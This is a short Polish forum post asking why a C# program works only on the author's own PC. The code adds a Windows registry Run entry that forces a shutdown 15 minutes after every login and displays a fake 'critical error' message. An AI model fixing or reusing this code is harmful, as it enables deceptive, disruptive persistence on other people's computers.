witam! napisalem taki prosty wpis do rejestru, jednak dziala on tylko na moim komputerze, sprawdzalismy u kolegi i albo dodaje pusty klucz albo w ogóle nie dodaje. Co moze byc z tym nie tak? dodam od razu ze nie pragne komus zatruwać komputera itp..
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue("SHUTDOWN -s -t 900","SHUTDOWN -s -t 900 -c \"Wystapil krytyczna blad. System windows zostanie zamkniety.\"");
}
}
}